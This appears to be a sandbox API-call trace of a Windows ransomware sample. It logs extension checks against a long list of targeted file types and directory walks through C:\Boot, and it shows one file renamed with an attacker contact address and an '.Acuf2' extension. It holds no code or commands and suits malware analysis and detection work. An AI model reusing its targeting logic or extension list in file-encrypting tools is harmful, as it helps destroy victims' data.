	[0249.043] lstrlenW (lpString=".gz") returned 3
	[0249.043] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0249.043] lstrlenW (lpString=".h") returned 2
	[0249.043] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0249.043] lstrlenW (lpString=".hdr") returned 4
	[0249.043] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".hpp") returned 4
	[0249.043] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".hta") returned 4
	[0249.043] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".htc") returned 4
	[0249.043] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".htm") returned 4
	[0249.043] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".html") returned 5
	[0249.043] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0249.043] lstrlenW (lpString=".icb") returned 4
	[0249.043] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".ics") returned 4
	[0249.043] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".iff") returned 4
	[0249.043] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".inc") returned 4
	[0249.043] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".indd") returned 5
	[0249.043] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0249.043] lstrlenW (lpString=".ini") returned 4
	[0249.043] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0249.043] FindNextFileW (in: hFindFile=0x4fb2e8, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7593600, ftCreationTime.dwHighDateTime=0x1d542e6, ftLastAccessTime.dwLowDateTime=0x7593600, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x75b9760, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2", cAlternateFileName="DESKTO~1.ACU")) returned 1
	[0249.044] lstrlenW (lpString="desktop.ini.id-9C354B42.[panama777@tutanota].Acuf2") returned 50
	[0249.044] lstrlenW (lpString=".1cd") returned 4
	[0249.044] lstrcmpiW (lpString1=".1cd", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".3ds") returned 4
	[0249.044] lstrcmpiW (lpString1=".3ds", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".3fr") returned 4
	[0249.044] lstrcmpiW (lpString1=".3fr", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".3g2") returned 4
	[0249.044] lstrcmpiW (lpString1=".3g2", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".3gp") returned 4
	[0249.044] lstrcmpiW (lpString1=".3gp", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".7z") returned 3
	[0249.044] lstrcmpiW (lpString1=".7z", lpString2="uf2") returned -1
	[0249.044] lstrlenW (lpString=".accda") returned 6
	[0249.044] lstrcmpiW (lpString1=".accda", lpString2=".Acuf2") returned -1
	[0249.044] lstrlenW (lpString=".accdb") returned 6
	[0249.044] lstrcmpiW (lpString1=".accdb", lpString2=".Acuf2") returned -1
	[0249.044] lstrlenW (lpString=".accdc") returned 6
	[0249.044] lstrcmpiW (lpString1=".accdc", lpString2=".Acuf2") returned -1
	[0249.044] lstrlenW (lpString=".accde") returned 6
	[0249.044] lstrcmpiW (lpString1=".accde", lpString2=".Acuf2") returned -1
	[0249.044] lstrlenW (lpString=".accdt") returned 6
	[0249.044] lstrcmpiW (lpString1=".accdt", lpString2=".Acuf2") returned -1
	[0249.044] lstrlenW (lpString=".accdw") returned 6
	[0249.044] lstrcmpiW (lpString1=".accdw", lpString2=".Acuf2") returned -1
	[0249.044] lstrlenW (lpString=".adb") returned 4
	[0249.044] lstrcmpiW (lpString1=".adb", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".adp") returned 4
	[0249.044] lstrcmpiW (lpString1=".adp", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".ai") returned 3
	[0249.044] lstrcmpiW (lpString1=".ai", lpString2="uf2") returned -1
	[0249.044] lstrlenW (lpString=".ai3") returned 4
	[0249.044] lstrcmpiW (lpString1=".ai3", lpString2="cuf2") returned -1
	[0249.044] lstrlenW (lpString=".ai4") returned 4
	[0249.045] lstrcmpiW (lpString1=".ai4", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".ai5") returned 4
	[0249.045] lstrcmpiW (lpString1=".ai5", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".ai6") returned 4
	[0249.045] lstrcmpiW (lpString1=".ai6", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".ai7") returned 4
	[0249.045] lstrcmpiW (lpString1=".ai7", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".ai8") returned 4
	[0249.045] lstrcmpiW (lpString1=".ai8", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".anim") returned 5
	[0249.045] lstrcmpiW (lpString1=".anim", lpString2="Acuf2") returned -1
	[0249.045] lstrlenW (lpString=".arw") returned 4
	[0249.045] lstrcmpiW (lpString1=".arw", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".as") returned 3
	[0249.045] lstrcmpiW (lpString1=".as", lpString2="uf2") returned -1
	[0249.045] lstrlenW (lpString=".asa") returned 4
	[0249.045] lstrcmpiW (lpString1=".asa", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".asc") returned 4
	[0249.045] lstrcmpiW (lpString1=".asc", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".ascx") returned 5
	[0249.045] lstrcmpiW (lpString1=".ascx", lpString2="Acuf2") returned -1
	[0249.045] lstrlenW (lpString=".asm") returned 4
	[0249.045] lstrcmpiW (lpString1=".asm", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".asmx") returned 5
	[0249.045] lstrcmpiW (lpString1=".asmx", lpString2="Acuf2") returned -1
	[0249.045] lstrlenW (lpString=".asp") returned 4
	[0249.045] lstrcmpiW (lpString1=".asp", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".aspx") returned 5
	[0249.045] lstrcmpiW (lpString1=".aspx", lpString2="Acuf2") returned -1
	[0249.045] lstrlenW (lpString=".asr") returned 4
	[0249.045] lstrcmpiW (lpString1=".asr", lpString2="cuf2") returned -1
	[0249.045] lstrlenW (lpString=".asx") returned 4
	[0249.045] lstrcmpiW (lpString1=".asx", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".avi") returned 4
	[0249.046] lstrcmpiW (lpString1=".avi", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".avs") returned 4
	[0249.046] lstrcmpiW (lpString1=".avs", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".backup") returned 7
	[0249.046] lstrcmpiW (lpString1=".backup", lpString2="].Acuf2") returned -1
	[0249.046] lstrlenW (lpString=".bak") returned 4
	[0249.046] lstrcmpiW (lpString1=".bak", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".bay") returned 4
	[0249.046] lstrcmpiW (lpString1=".bay", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".bd") returned 3
	[0249.046] lstrcmpiW (lpString1=".bd", lpString2="uf2") returned -1
	[0249.046] lstrlenW (lpString=".bin") returned 4
	[0249.046] lstrcmpiW (lpString1=".bin", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".bmp") returned 4
	[0249.046] lstrcmpiW (lpString1=".bmp", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".bz2") returned 4
	[0249.046] lstrcmpiW (lpString1=".bz2", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".c") returned 2
	[0249.046] lstrcmpiW (lpString1=".c", lpString2="f2") returned -1
	[0249.046] lstrlenW (lpString=".cdr") returned 4
	[0249.046] lstrcmpiW (lpString1=".cdr", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".cer") returned 4
	[0249.046] lstrcmpiW (lpString1=".cer", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".cf") returned 3
	[0249.046] lstrcmpiW (lpString1=".cf", lpString2="uf2") returned -1
	[0249.046] lstrlenW (lpString=".cfc") returned 4
	[0249.046] lstrcmpiW (lpString1=".cfc", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".cfm") returned 4
	[0249.046] lstrcmpiW (lpString1=".cfm", lpString2="cuf2") returned -1
	[0249.046] lstrlenW (lpString=".cfml") returned 5
	[0249.046] lstrcmpiW (lpString1=".cfml", lpString2="Acuf2") returned -1
	[0249.047] lstrlenW (lpString=".cfu") returned 4
	[0249.047] lstrcmpiW (lpString1=".cfu", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".chm") returned 4
	[0249.047] lstrcmpiW (lpString1=".chm", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".cin") returned 4
	[0249.047] lstrcmpiW (lpString1=".cin", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".class") returned 6
	[0249.047] lstrcmpiW (lpString1=".class", lpString2=".Acuf2") returned 1
	[0249.047] lstrlenW (lpString=".clx") returned 4
	[0249.047] lstrcmpiW (lpString1=".clx", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".config") returned 7
	[0249.047] lstrcmpiW (lpString1=".config", lpString2="].Acuf2") returned -1
	[0249.047] lstrlenW (lpString=".cpp") returned 4
	[0249.047] lstrcmpiW (lpString1=".cpp", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".cr2") returned 4
	[0249.047] lstrcmpiW (lpString1=".cr2", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".crt") returned 4
	[0249.047] lstrcmpiW (lpString1=".crt", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".crw") returned 4
	[0249.047] lstrcmpiW (lpString1=".crw", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".cs") returned 3
	[0249.047] lstrcmpiW (lpString1=".cs", lpString2="uf2") returned -1
	[0249.047] lstrlenW (lpString=".css") returned 4
	[0249.047] lstrcmpiW (lpString1=".css", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".csv") returned 4
	[0249.047] lstrcmpiW (lpString1=".csv", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".cub") returned 4
	[0249.047] lstrcmpiW (lpString1=".cub", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".dae") returned 4
	[0249.047] lstrcmpiW (lpString1=".dae", lpString2="cuf2") returned -1
	[0249.047] lstrlenW (lpString=".dat") returned 4
	[0249.047] lstrcmpiW (lpString1=".dat", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".db") returned 3
	[0249.048] lstrcmpiW (lpString1=".db", lpString2="uf2") returned -1
	[0249.048] lstrlenW (lpString=".dbf") returned 4
	[0249.048] lstrcmpiW (lpString1=".dbf", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dbx") returned 4
	[0249.048] lstrcmpiW (lpString1=".dbx", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dc3") returned 4
	[0249.048] lstrcmpiW (lpString1=".dc3", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dcm") returned 4
	[0249.048] lstrcmpiW (lpString1=".dcm", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dcr") returned 4
	[0249.048] lstrcmpiW (lpString1=".dcr", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".der") returned 4
	[0249.048] lstrcmpiW (lpString1=".der", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dib") returned 4
	[0249.048] lstrcmpiW (lpString1=".dib", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dic") returned 4
	[0249.048] lstrcmpiW (lpString1=".dic", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".dif") returned 4
	[0249.048] lstrcmpiW (lpString1=".dif", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".divx") returned 5
	[0249.048] lstrcmpiW (lpString1=".divx", lpString2="Acuf2") returned -1
	[0249.048] lstrlenW (lpString=".djvu") returned 5
	[0249.048] lstrcmpiW (lpString1=".djvu", lpString2="Acuf2") returned -1
	[0249.048] lstrlenW (lpString=".dng") returned 4
	[0249.048] lstrcmpiW (lpString1=".dng", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".doc") returned 4
	[0249.048] lstrcmpiW (lpString1=".doc", lpString2="cuf2") returned -1
	[0249.048] lstrlenW (lpString=".docm") returned 5
	[0249.048] lstrcmpiW (lpString1=".docm", lpString2="Acuf2") returned -1
	[0249.048] lstrlenW (lpString=".docx") returned 5
	[0249.048] lstrcmpiW (lpString1=".docx", lpString2="Acuf2") returned -1
	[0249.049] lstrlenW (lpString=".dot") returned 4
	[0249.049] lstrcmpiW (lpString1=".dot", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dotm") returned 5
	[0249.049] lstrcmpiW (lpString1=".dotm", lpString2="Acuf2") returned -1
	[0249.049] lstrlenW (lpString=".dotx") returned 5
	[0249.049] lstrcmpiW (lpString1=".dotx", lpString2="Acuf2") returned -1
	[0249.049] lstrlenW (lpString=".dpx") returned 4
	[0249.049] lstrcmpiW (lpString1=".dpx", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dqy") returned 4
	[0249.049] lstrcmpiW (lpString1=".dqy", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dsn") returned 4
	[0249.049] lstrcmpiW (lpString1=".dsn", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dt") returned 3
	[0249.049] lstrcmpiW (lpString1=".dt", lpString2="uf2") returned -1
	[0249.049] lstrlenW (lpString=".dtd") returned 4
	[0249.049] lstrcmpiW (lpString1=".dtd", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dwg") returned 4
	[0249.049] lstrcmpiW (lpString1=".dwg", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dwt") returned 4
	[0249.049] lstrcmpiW (lpString1=".dwt", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".dx") returned 3
	[0249.049] lstrcmpiW (lpString1=".dx", lpString2="uf2") returned -1
	[0249.049] lstrlenW (lpString=".dxf") returned 4
	[0249.049] lstrcmpiW (lpString1=".dxf", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".edml") returned 5
	[0249.049] lstrcmpiW (lpString1=".edml", lpString2="Acuf2") returned -1
	[0249.049] lstrlenW (lpString=".efd") returned 4
	[0249.049] lstrcmpiW (lpString1=".efd", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".elf") returned 4
	[0249.049] lstrcmpiW (lpString1=".elf", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".emf") returned 4
	[0249.049] lstrcmpiW (lpString1=".emf", lpString2="cuf2") returned -1
	[0249.049] lstrlenW (lpString=".emz") returned 4
	[0249.050] lstrcmpiW (lpString1=".emz", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".epf") returned 4
	[0249.050] lstrcmpiW (lpString1=".epf", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".eps") returned 4
	[0249.050] lstrcmpiW (lpString1=".eps", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".epsf") returned 5
	[0249.050] lstrcmpiW (lpString1=".epsf", lpString2="Acuf2") returned -1
	[0249.050] lstrlenW (lpString=".epsp") returned 5
	[0249.050] lstrcmpiW (lpString1=".epsp", lpString2="Acuf2") returned -1
	[0249.050] lstrlenW (lpString=".erf") returned 4
	[0249.050] lstrcmpiW (lpString1=".erf", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".exr") returned 4
	[0249.050] lstrcmpiW (lpString1=".exr", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".f4v") returned 4
	[0249.050] lstrcmpiW (lpString1=".f4v", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".fido") returned 5
	[0249.050] lstrcmpiW (lpString1=".fido", lpString2="Acuf2") returned -1
	[0249.050] lstrlenW (lpString=".flm") returned 4
	[0249.050] lstrcmpiW (lpString1=".flm", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".flv") returned 4
	[0249.050] lstrcmpiW (lpString1=".flv", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".frm") returned 4
	[0249.050] lstrcmpiW (lpString1=".frm", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".fxg") returned 4
	[0249.050] lstrcmpiW (lpString1=".fxg", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".geo") returned 4
	[0249.050] lstrcmpiW (lpString1=".geo", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".gif") returned 4
	[0249.050] lstrcmpiW (lpString1=".gif", lpString2="cuf2") returned -1
	[0249.050] lstrlenW (lpString=".grs") returned 4
	[0249.050] lstrcmpiW (lpString1=".grs", lpString2="cuf2") returned -1
	[0249.366] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.366] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.367] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.367] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.367] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.367] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0249.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.367] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.367] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.367] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.367] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0249.367] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.367] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.367] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0249.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.367] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.367] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.368] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0249.368] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0249.368] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0249.368] FindClose (in: hFindFile=0x41b21d0 | out: hFindFile=0x41b21d0) returned 1
	[0249.368] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0249.368] FindNextFileW (in: hFindFile=0x3b083a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0249.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.368] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b21d0
	[0249.368] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
